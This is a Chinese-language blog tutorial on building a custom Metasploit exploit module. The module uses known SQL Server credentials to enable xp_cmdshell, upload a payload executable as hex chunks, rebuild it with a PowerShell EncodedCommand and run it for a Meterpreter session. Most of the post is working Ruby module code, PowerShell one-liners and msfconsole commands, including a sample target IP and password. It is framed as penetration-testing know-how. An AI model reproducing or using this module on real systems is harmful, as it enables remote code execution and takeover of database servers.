打造定制化的Metasploit—MSSQL重构

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

项目地址:Metasploit Modules

前言

在进行内网渗透时,有时会遇到SQL Server数据库,当获取到正确口令信息时,经常会用到SQLTOOLS一类的渗透工具,但依赖xp_cmdshell需要开启,才能执行系统命令。这里就联想到实战中的需求,也正是本文要讲述的方法:**利用Metasploit,通过正确的SQL Server口令信息,可启用xp_cmdshell,并获取目标系统session**。

参数

msftidy

使用Metasploit中名为msftidy的内置工具,检查开发的模块语法是否正确。

3e2468c1ffd0c0f037606cf8ff5191d9

loadpath

Metasploit每次更新,所有模块都会被删除,创建外部目录不被删除(虚拟分支): 外部目录要与msf目录结构相同,之后在msf中使用loadpath 绝对路径/Metasploit/载入。

当前msf适用,退出后需要重新加载loadpath

e52e231eda12e9e99bf878d2c492d5c5

reload

在不关闭metasploit的情况下使用reload命令重新载入编辑过的模块。

内置模块测试

Metasploit中内置了mssql_payload模块,但攻击效果不是很好,session弹不回来。

8e044c35f1d9e425e60186fdb6a2ef3a

编写mssql_powershell模块

mssql_powershell是在mssql_payload基础上进行修改的。

接下来进行分解讲述:

代码头部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core' # 引用 core 核心库

class MetasploitModule < Msf::Exploit::Remote # 定义这是一个远程攻击模块
Rank = ExcellentRanking

include Msf::Exploit::Remote::MSSQL # 包含 lib/msf/core/exploit/mssql.rb 库

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Powershell payload ',
# %q 单引号字符串
'Description' => %q{
This module will deliver our payload through Microsoft PowerShell using MSSQL based attack vectors.
},
'Author' =>
[
'AnonySec@DropLab',
],
'License' => MSF_LICENSE,
'Platform' => 'win', # 仅支持windows平台
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
))

基本选项

1
2
3
4
register_options(
[
OptBool.new('UsePowerShell', [ true, "Use Powershell as payload delivery method instead",true ])
])

a696a076232e338b466572c24690e234

检查目标是否存在漏洞可被利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def check
if !mssql_login_datastore
vprint_status("Invalid SQL Server credentials")
return Exploit::CheckCode::Detected
end

# 查询mssql版本
mssql_query("select @@version", true)
if mssql_is_sysadmin
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
ensure
disconnect
end

da2b42724a7fdfad40b4535d32823f38

启用xpcmdshell

先以SQLTOOLS工具尝试

451cac49d4e483891d3029e95b201c90

回到代码中,引用mssql.rb中的mssql_xpcmdshell方法

1
2
3
def run
mssql_xpcmdshell(datastore['CMD'], true) if mssql_login_datastore
end

889abbe0bd15ae1d66622fbcd733b9df

01b281c2c7e9984455468020b4e74d14

定义主体代码

定义upload_powershell_exec主要函数,exe是从下面Msf::Util::EXE.to_win32pe(framework,payload.encoded)发过来的二进制文件

1
def upload_powershell_exec(exe, debug=false)

调试状态下debug=true的输出

a9d849f2fe85bcbc8fc141ec9e331b12

十六进制转换,创建随机文件名,输出状态

1
2
3
4
5
6
# 十六进制转换,“H:打开二进制格式的文件,以十六进制转换“
hex = exe.unpack("H*")[0]
# 创建随机8位字母的文件名
var_payload = rand_text_alpha(8)
# payload保留在目标系统 C:\Windows\\Temp\ 目录下
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server C:\\Windows\\Temp\\ directory")

通过powershell创建一个从十六进制至二进制的转换:$s变量中的`r`n替换空字符,去除回车换行符,由于MSSQL存在一个字符长度限制,需要将十六进制的payload分成500字节分块,payload被分到多个请求中,传到目标系统中就会被添加回车换行符。如不去除,生成的二进制文件将损坏,就不能执行;通过[Convert]::ToByte 让powershell将十六进制的文件写入到 #{var_payload}.exe 二进制程序中

1
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"

转换编码,输出状态

1
2
3
4
5
6
# 将h2b字符串转换为Unicode编码
h2b_unicode=Rex::Text.to_unicode(h2b)
# 将Unicode字符串进行base64编码
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
# 输出状态,正在上传payload
print_status("Uploading the payload #{var_payload}, please be patient...")

计数器idx每次增长cnt(500)个字节。简单说:读取500字节,发送,再读取,再发送,直到读到文件末尾。

1
2
3
4
5
6
7
8
# 基础计数器idx最初位置为0,标识文件末尾
idx = 0
# 每次发送十六进制文件到操作系统时递增500字节。
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>C:\\Windows\\Temp\\#{var_payload}", false)
idx += cnt
end

利用PowerShell EncodedCommand命令转换payload,之后执行,输出相关状态

1
2
3
4
5
6
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
mssql_xpcmdshell("cmd.exe /c del C:\\Windows\\Temp\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("C:\\Windows\\Temp\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")

攻击模块的主体代码使用

1
2
3
4
5
6
7
8
9
10
11
12
13
def exploit
# 检查是否已经正常登陆
if !mssql_login_datastore
# 口令错误无法登陆输出该状态 “[*] xx.xx.xx.xx:1433 - Invalid SQL Server credentials”
print_status("Invalid SQL Server credentials")
return
end
# UsePowerShell 方法调用 upload_powershell_exec 函数
if (datastore['UsePowerShell'])
# Msf::Util::EXE.to_win32pe(framework,payload,encoded) 自动产生一个可用的二进制payload
# https://rapid7.github.io/metasploit-framework/api/Msf/Util/EXE.html#to_win32pe-class_method
upload_powershell_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))
end

处理与目标系统间的连接

1
2
handler
disconnect

完整载入运行

1
2
3
4
5
6
7
msf5 > loadpath /Users/anonysec/Desktop/Metasploit/
msf5 > use exploit/windows/mssql/mssql_powershell
msf5 exploit(windows/mssql/mssql_powershell) > set payload windows/meterpreter/bind_tcp
msf5 exploit(windows/mssql/mssql_powershell) > set rhost 192.168.144.212
msf5 exploit(windows/mssql/mssql_powershell) > set password Admin123
msf5 exploit(windows/mssql/mssql_powershell) > set lport 5353
msf5 exploit(windows/mssql/mssql_powershell) > run

注:调试状态下debug=true

06fd16de9c58b283ee33b7dc0d072e2c

小结

只要对Metasploit框架有兴趣,并已经查看了现有代码是如何工作的,就可以充分利用现有代码,拿过来改改,并增加一些原创代码这样的流程。在大多数情况下,没必要完全从零开始来编写自己的模块代码。这就是代码重用的能量。

References